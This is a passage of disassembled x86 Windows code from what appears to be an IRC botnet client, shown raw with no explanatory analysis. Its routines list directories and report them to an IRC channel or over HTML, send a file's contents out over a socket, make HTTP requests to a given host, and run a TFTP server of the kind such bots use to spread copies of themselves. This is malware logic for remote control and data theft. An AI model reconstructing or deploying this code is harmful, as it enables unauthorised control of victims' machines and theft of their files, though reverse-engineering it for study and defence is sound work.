		push	esi
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		jmp	short loc_406453
; ---------------------------------------------------------------------------


loc_406439:				; CODE XREF: sub_4062F7+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 10h


loc_406453:				; CODE XREF: sub_4062F7+5Aj
					; sub_4062F7+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4064EB
		push	[ebp+arg_C]
		call	sub_417AF0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4064EB
		push	[ebp+arg_C]
		call	sub_417AF0
		sub	eax, 3
		pop	ecx
		jz	short loc_40649F


loc_406493:				; CODE XREF: sub_4062F7+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40649F
		dec	eax
		jnz	short loc_406493


loc_40649F:				; CODE XREF: sub_4062F7+19Aj
					; sub_4062F7+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send


loc_4064EB:				; CODE XREF: sub_4062F7+17Ej
					; sub_4062F7+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 7C8137D9h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 7C834EB1h
		test	eax, eax
		jz	loc_4068DC
		mov	edi, 1FFh


loc_406517:				; CODE XREF: sub_4062F7+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4068C4
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068C4
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068C4
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 7C80E866h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 7C80E7ECh
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40658C
		mov	ecx, offset aAm	; "AM"


loc_40658C:				; CODE XREF: sub_4062F7+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406598
		sub	eax, 0Ch


loc_406598:				; CODE XREF: sub_4062F7+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4173AC
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_406745
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406619
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 28h
		jmp	loc_406895
; ---------------------------------------------------------------------------


loc_406619:				; CODE XREF: sub_4062F7+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_406703
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AF0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4066B9
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4066BE
; ---------------------------------------------------------------------------


loc_4066B9:				; CODE XREF: sub_4062F7+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4066BE:				; CODE XREF: sub_4062F7+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_406886
; ---------------------------------------------------------------------------


loc_406703:				; CODE XREF: sub_4062F7+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_406730:				; CODE XREF: sub_4062F7+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 24h
		jmp	loc_406895
; ---------------------------------------------------------------------------


loc_406745:				; CODE XREF: sub_4062F7+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40676F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D5BA
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_406730
; ---------------------------------------------------------------------------


loc_40676F:				; CODE XREF: sub_4062F7+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_40686F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AF0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40680F
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_406814
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_4062F7+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_406814:				; CODE XREF: sub_4062F7+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 1Ch
		jmp	short loc_406895
; ---------------------------------------------------------------------------


loc_40686F:				; CODE XREF: sub_4062F7+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_406886:				; CODE XREF: sub_4062F7+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41792A
		add	esp, 18h


loc_406895:				; CODE XREF: sub_4062F7+31Dj
					; sub_4062F7+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4068C4
		push	7D0h
		nop
		call	near ptr 7C802442h


loc_4068C4:				; CODE XREF: sub_4062F7+226j
					; sub_4062F7+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 7C834EB1h
		test	eax, eax
		jnz	loc_406517


loc_4068DC:				; CODE XREF: sub_4062F7+215j
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80EDD7h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40691F
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D5BA
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D5BA
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4173AC
		add	esp, 14h
		jmp	short loc_406953
; ---------------------------------------------------------------------------


loc_40691F:				; CODE XREF: sub_4062F7+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_406939
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	short loc_406953
; ---------------------------------------------------------------------------


loc_406939:				; CODE XREF: sub_4062F7+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_406953:				; CODE XREF: sub_4062F7+626j
					; sub_4062F7+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4062F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406979	proc near		; CODE XREF: sub_405EC5+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 7C801A24h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406A31
		push	esi
		push	ebx
		nop
		call	near ptr 7C810A77h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406A2A


loc_4069BE:				; CODE XREF: sub_406979+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4069DB
		mov	edi, [ebp+arg_4]


loc_4069DB:				; CODE XREF: sub_406979+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 7C810B8Eh
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 7C80180Eh
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406A25
		call	dword_44134C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406A2A
		xor	eax, eax


loc_406A25:				; CODE XREF: sub_406979+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4069BE


loc_406A2A:				; CODE XREF: sub_406979+43j
					; sub_406979+A8j
		push	ebx
		nop
		call	near ptr 7C809B47h


loc_406A31:				; CODE XREF: sub_406979+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406979	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A36	proc near		; CODE XREF: sub_406047+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	short loc_406A5F


loc_406A49:				; CODE XREF: sub_406A36+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406A53
		mov	byte ptr [esi+edi], 2Fh


loc_406A53:				; CODE XREF: sub_406A36+17j
		push	edi
		inc	esi
		call	sub_417AF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406A49


loc_406A5F:				; CODE XREF: sub_406A36+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406A36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A64	proc near		; CODE XREF: sub_40F6F1+2CE7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_441330	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_441438	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4413B8	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AE95
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406B41
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406ADD
		mov	eax, offset byte_43C63C


loc_406ADD:				; CODE XREF: sub_406A64+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_441408	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417490
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		pop	esi


loc_406B41:				; CODE XREF: sub_406A64+6Bj
		push	ebx
		call	dword_441450	; closesocket
		call	dword_441318	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4173AC
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406B81
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_406B81:				; CODE XREF: sub_406A64+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B85	proc near		; CODE XREF: sub_406B85:loc_407070p
					; DATA XREF: sub_4071BD+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_441438	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406C48
		push	190h
		nop
		call	near ptr 7C802442h
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_428B80
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406C28
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40DC10
		add	esp, 14h


loc_406C28:				; CODE XREF: sub_406B85+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_170]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_406C48:				; CODE XREF: sub_406B85+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_446E1C[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_4413E4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CAD
		push	1388h
		nop
		call	near ptr 7C802442h
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407070
; ---------------------------------------------------------------------------


loc_406CAD:				; CODE XREF: sub_406B85+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41823A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406D2B
		push	190h
		nop
		call	near ptr 7C802442h
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_428B4C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40DC10
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_170]
		call	sub_417174
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_406D2B:				; CODE XREF: sub_406B85+140j
		mov	esi, 200h


loc_406D30:				; CODE XREF: sub_406B85+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_407030
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_4413A0	; select
		test	eax, eax
		jle	loc_407024
		mov	al, byte_43C63C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_441390	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4173AC
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_40700E
		cmp	[ebp+var_D7], 1
		jnz	loc_406F5A
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AF0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418480
		add	esp, 14h
		test	eax, eax
		jnz	loc_406F14
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418480
		add	esp, 10h
		test	eax, eax
		jnz	loc_406F14
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_4183EE
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418132
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_44141C	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_428B04


loc_406EC8:				; CODE XREF: sub_406B85+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F02
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40DC10
		add	esp, 14h


loc_406F02:				; CODE XREF: sub_406B85+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40C4F7
		pop	ecx
		jmp	loc_407024
; ---------------------------------------------------------------------------


loc_406F14:				; CODE XREF: sub_406B85+2B6j
					; sub_406B85+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_428AF0
		push	edi
		call	dword_44141C	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_428ABC
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40C4F7
		add	esp, 14h
		jmp	loc_407024
; ---------------------------------------------------------------------------


loc_406F5A:				; CODE XREF: sub_406B85+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_40700E
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_406F97
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_406FA5
; ---------------------------------------------------------------------------


loc_406F97:				; CODE XREF: sub_406B85+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_406FA5:				; CODE XREF: sub_406B85+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_4183EE
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418132
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_44141C	; sendto
		cmp	edi, ebx
		jnz	short loc_407024
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_428A68
		jmp	loc_406EC8
; ---------------------------------------------------------------------------


loc_40700E:				; CODE XREF: sub_406B85+268j
					; sub_406B85+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_428A5C
		push	edi
		call	dword_44141C	; sendto


loc_407024:				; CODE XREF: sub_406B85+204j
					; sub_406B85+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406D30


loc_407030:				; CODE XREF: sub_406B85+1B4j
		push	edi
		call	dword_441450	; closesocket
		push	[ebp+var_8]
		call	sub_4180DC
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_407064
		push	[ebp+var_170]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_407064:				; CODE XREF: sub_406B85+4CAj
		push	3E8h
		nop
		call	near ptr 7C802442h
		push	esi


loc_407070:				; CODE XREF: sub_406B85+123j
		call	sub_406B85
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406B85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40707C	proc near		; CODE XREF: sub_40F6F1+5E77p
					; DATA XREF: ___:004257D0o ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4290B8
		push	eax
		xor	ebx, ebx
		call	sub_4173AC
		cmp	dword_428BF8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4070EA
		push	esi
		mov	esi, offset dword_428C00


loc_4070AF:				; CODE XREF: sub_40707C+6Bj
